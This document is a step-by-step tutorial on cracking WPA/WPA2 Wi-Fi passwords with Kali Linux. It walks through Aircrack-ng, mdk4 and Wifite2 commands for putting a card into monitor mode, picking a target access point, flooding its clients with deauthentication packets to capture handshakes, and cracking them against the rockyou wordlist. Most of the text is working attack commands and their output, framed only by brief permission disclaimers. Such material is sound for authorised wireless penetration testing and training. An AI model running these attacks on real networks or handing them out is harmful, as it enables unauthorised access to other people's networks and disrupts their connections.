Hacking Wi-Fi with Kali Linux

This tutorial is meant to be a no-nonsense cookbook for attacking WPA/WPA2 secured Wi-Fi networks. Do not use these tools on any networks without permission.

We will use two tool suites to capture 802.11 packets and attempt to crack the access point (AP) password:

- **Aircrack-ng**
- **Wifite2**

Both tools come packaged with the Kali Linux distribution. Aircrack-ng comprises several tools for identifying, surveying, and exploiting Wi-Fi networks, and each one must be invoked as separate commands for functionality.

Wifite2 is invoked with a single command line. Here a user can run the basic options or change the configuration as needed, like adding 5 GHz monitoring or a different word list for cracking credentials.

Kit required

Computer – any desktop, laptop, or ARM-based micro-computer, like Raspberry Pi, will do the job. Windows will not easily enable the needed modes for wireless packet sniffing, so Linux distributions are preferred. Kali Linux has most of the needed tools, software, drivers, and firmware pre-installed.

- Windows or Linux host running a hypervidor (VMWare Workstation or Virtual Box are fine)
- Linux host with the required tools installed

Wireless Network Interface Controller (NIC) – Alfa makes some of the best Wi-Fi cards on the market, and recommendations are below. Other wireless NIC manufacturers offer comparable options, like TP-Link and BrosTrend. For the best capability, ensure the card is 802.11AC or AX compatible, and uses the RTL8812AU chipset at a minimum.

- Alfa Industries AWUS036AXM
    - https://www.alfa.com.tw/products/awus036axm?variant=39913640198216
- Alfa Industries AWUS036ACH
    - https://www.alfa.com.tw/products/awus036ach?variant=36473965871176

Aircrack-ng

First, confirm there is a wireless NIC. We will switch this to “monitor” mode in order to capture 802.11 traffic packets outside the local host.

In a terminal, type the following:

```
$ ifconfig
```

You will see something similar to this:

```
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 10.10.0.1  netmask 255.255.255.0  broadcast 10.10.0.255
        ether 12:34:00:ab:cd:ef  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3140392  bytes 1557023956 (1.5 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3140392  bytes 1557023956 (1.5 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.0.3  netmask 255.255.255.0  broadcast 10.10.0.255
        inet6 fe80::ecec:45a4:8888:ae4  prefixlen 64  scopeid 0x20<link>
        ether 56:78:00:fe:90:c8  txqueuelen 1000  (Ethernet)
        RX packets 27171  bytes 2111354947 (2 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 22357  bytes 2456685765 (2 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

The `wlan0` interface is the one we will use. Your results may show something different—make note of that interface by copy/pasting into your notes.

```
$ echo wlan0 > hackernotes.txt
```

Type `ls` to confirm the file is created and cat <filename> to confirm the text is saved.

```
$ ls
hackernotes.txt
$ cat hackernotes.txt
wlan0
```

Enable packet sniffing

Next the wireless NIC must be put into "monitor" mode. Typically, wireless NICs are in "managed" mode, meaning they are controlled by the network manager for host communications to and from an access point. In "monitor" mode, also known as "promiscuous" mode, the NIC is released from host network manager control and able to sniff packets from all sources, not just the AP. Simply put, it now ignores the destination MAC addresses of all 802.11 traffic in its proximity and collects them all.

```
$sudo airmon-ng start wlan0
```

You may receive some errors that certain host processes will interfere with `wlan0` being in monitor mode. The following command will stop those processes:

```
$ sudo airmon-ng check kill
```

Now type `iwconfig` to check the host's wireless NICs to confirm that `wlan0` is in monitor mode:

```
$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.
```

```
wlan0     unassociated  ESSID:""  Nickname:"<nickname>"
          Mode:Monitor Frequency=2.412 GHz  Access Point: Not-Associated
          Sensitivity:0/0
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

Note: `wlan0` may become `wlan0mon`, indicating it is in monitor mode. All commands from here on out should then list `wlan0mon` instead of `wlan0`, but for simplicity's sake, and because your wireless configuration naming may differ, we'll leave it as `wlan0`.

Selecting target APs

If successful, we can now scan for target access points.

```
$ sudo airodump-ng wlan0
```

A list of nearby wireless APs will populate. After a few seconds, the target AP should be listed. Type `ctrl+c` to stop the AP survey.

```
$ ctrl+c
```

Once the target AP is located, highlight the entire line and copy/paste it to your notes. You will need the BSSID, channel (CH), encoding (ENC), and ESSID at the very least.

```
BSSID             PWR  Beacons #Data,#/s CH  MB   ENC  CIPHER AUTH ESSID

01:23:45:67:89:0A -31  1       0    0    36 1300 WPA2 CCMP   PSK  Arrakis-5g
98:76:54:32:10:FE -61  1       0    0    36  780 WPA2 CCMP   PSK  StarbucksWifi
AB:5D:C5:78:3F:50 -46  2       0    0    1    65 WPA2 CCMP   PSK  D-Link_AC1500
8C:20:3F:6D:69:9B -31  1       0    0    11 1300 WPA2 CCMP   PSK  EatAtJoes
```

We'll select *D-Link_AC1500* as the a target AP. Copy/paste the BSSID into your notes.

`$ echo AB:5D:C5:78:3F:50 >> hackernotes.txt` (now we're using ">>" instead of of just one ">" which tells the echo command to add this text to existing notes, not overwrite them)

Notice that some networks are on the 2.4 GHz band while others on the 5 GHz band. If your wireless NIC has the capability to survey multiple 802.11 bands i.e. it is an AC or AX-capable Wi-Fi NIC, you can collect from all bands. Some older and/or less costly Wi-Fi cards allow only 2.4 GHz operation, so bear in mind your equipment specifications before beginning any operations.

In some cases, Airodump-ng will fail to collect both 2.4 GHz and 5 GHz APs even though the wireless NIC has that capability. Try adding the 802.11a switch to the command to fix this:

```
$ sudo airodump-ng wlan0 --band a
```

Capturing packets to find a 4-way handshake

With our target chosen, the next step is capturing packets to detect any clients on the network. This is necessary to grab authentication keys for decryption. The following command will generate packet captures (PCAP) and identify clients on the target network.

```
$ sudo airodump-ng -c <CH> --bssid <target AP MAC> -w ~/<filename> wlan0
```

- <CH> is the channel to which the target AP is configured
- <target AP MAC> is the BSSID of the target AP
- <filename> is whatever you choose to name the pcap file

Your command would look like this, pasting in the information from the survey:

```
$ sudo airodump-ng -c 1 --bssid AB:5D:C5:78:3F:50 -w ~/tgt_dlink wlan0
```

Wait several seconds to a minute for the process to detect client devices. When one or more have populated, press `ctrl+c` to stop the capture. Copy/paste one of the client device MAC addresses (labeled STA for "station") into your notes.

```
$ ctrl+c
$ echo <client MAC> >> hackernotes.txt
```

Armed with a STA MAC address, restart the packet capture by rerunning the last command:

```
$ sudo airodump-ng -c 1 --bssid AB:5D:C5:78:3F:50 -w ~/tgt_dlink wlan0
```

Attacking to generate 4-way handshakes

While that runs, open a new terminal.

Aircrack-ng has a module to send deauth packets to the clients on the network, Aireplay-ng, forcing them (in most cases) to re-authenticate, revealing 4-way handshakes to exchange the authentication keys. Type the following command to being the attack:

```
$ sudo aireplay-ng -0 5 -a <target AP MAC> -c <target client MAC> wlan0
```

- `-0` selects deauthentication packets with quantity 5, but often more are required

If enough deauth packets were sent and the target client re-authenticated with the AP, your pcap file should contain EAPOL packets, containing the keys necessary to decrypt the network password.

If deauth fails & the target AP and client are on the 5 GHz network

If this is the case, Aireplay-ng may not be able to deauth any clients due to advanced security conditions configured in modern 802.11 standards, so we'll use another tool, called mdk4. Instructions for installation can be found here:

https://github.com/aircrack-ng/mdk4

Mdk4 sends deauth packets specially crafted for 5 GHz channels. You can specify whether to send packets to the AP ESSID/readable name (`-E` flag), AP BSSID (`-B` flag), or a particular client/STA (`-S` flag).

```
$ sudo mdk4 wlan0 d -E <target AP ESSID>
```

`Or`

```
$ sudo mdk4 wlan0 d -B <target AP MAC>
```

`Or`

```
$ sudo mdk4 wlan0 d -S <target client MAC>
```

With Airodump-ng still capturing packets in the other terminal, deauth packets from Airreplay-ng, mdk4, or any other attack tool, if successful, will generate client re-authentication, and capture 4-way handshakes with EAPOL packets, all saved to the file you specified using Airodump-ng.

Cracking the captured 4-way handshakes

The next step is cracking that password. You may keep the packet capture running in the other terminal in case not enough EAPOL packets were captured. This way we can re-run the Aireplay-ng or mdk4 commands if needed.

Cracking passwords requires dictionaries. Kali Linux comes pre-loaded with several. The one we will use is rockyou.txt, derived from a massive password database breach several years ago. It is located here:

```
/usr/share/wordlists/rockyou.txt
```

Locate it by typing the following:

```
$ ls /usr/share/wordlists/
```

In some cases, the rockyou.txt file is archived in a gzip container, with the extension .gz. Run the following command to extract it:

```
$ gzip -d /usr/share/wordlists/rockyou.txt.gz
```

The text file is now ready for use.

```
$ sudo aircrack-ng ~/<filename> -w /usr/share/wordlists/rockyou.txt
```

- <filename> is the pcap file you created while capturing packets, and will contain the 4-way handshakes your attack generated; the extension will be .cap

```
$ sudo aircrack-ng ~/tgt_dlink.cap -w /usr/share/wordlists/rockyou.txt
```

Cracking passwords takes a lot of time, so be patient and let the process happen. Aircrack-ng can run offline, so feel free to now end the packet capture in the other terminal and explore other targets if necessary.

If the password is contained in the rockyou.txt dictionary, Aircrack-ng will display it once found, and you now own your target network.

Wifite2

Now that you know each step in the manual Aircrack-ng process, let’s get acquainted with Wifite2. This tool does the same thing as Aircrack-ng, but in an automated fashion. Start it by typing the following:

```
sudo wifite
```

At its most basic level, Wifite2 will scan for networks and ask you to choose, by line number, which network(s) to attack. By default, it will scan for 2.4 GHz networks. To enable 5 GHz band scanning, if your wireless NIC has that capability, we’ll add the `-5` switch.

```
sudo wifite -5
```

Another consideration is password cracking. Wifite will send deauth packets to target networks, and automatically begin the WPA/WPA2 attack. When EAPOL packets are captured, Wifite will use its own dictionary to crack the password. We can set our own, like rockyou.txt, with another switch.

```
sudo wifite -5 --dict /usr/share/wordlist/rockyou.txt
```

Finally, we can let Wifite2 do its thing. After enough networks have been detected, you can stop the survey with `ctrl+c` and Wifite will prompt you to choose your target network(s). Once chosen, hit `enter`.

The first attack is against PMKIDs. If you are attacking an enterprise network with multiple BSSes within an ESS, PMKIDs are important. If you are attacking small networks or individual AP, you can stop PMKID attacks with `ctrl+c`. Wifite will then ask if you want to continue. Hit `c` to do so.

WPA/WPA2 attacks then proceed. Wifite will indicate if/when handshakes are captured and password cracking begins. The process may take as long as with Aircrack-ng, so be patient. If successful, you now own that network.

Conclusion

These tools are just basic options for simple Wi-Fi password attacks. They have many more capabilities, and Kali Linux offers many other useful tools for assessing and exploiting wireless networks, like Ettercap and Kismet. Finally, remember to only use these tools with permission and on networks where attacks like these will not harm anyone or compromise privacy and security.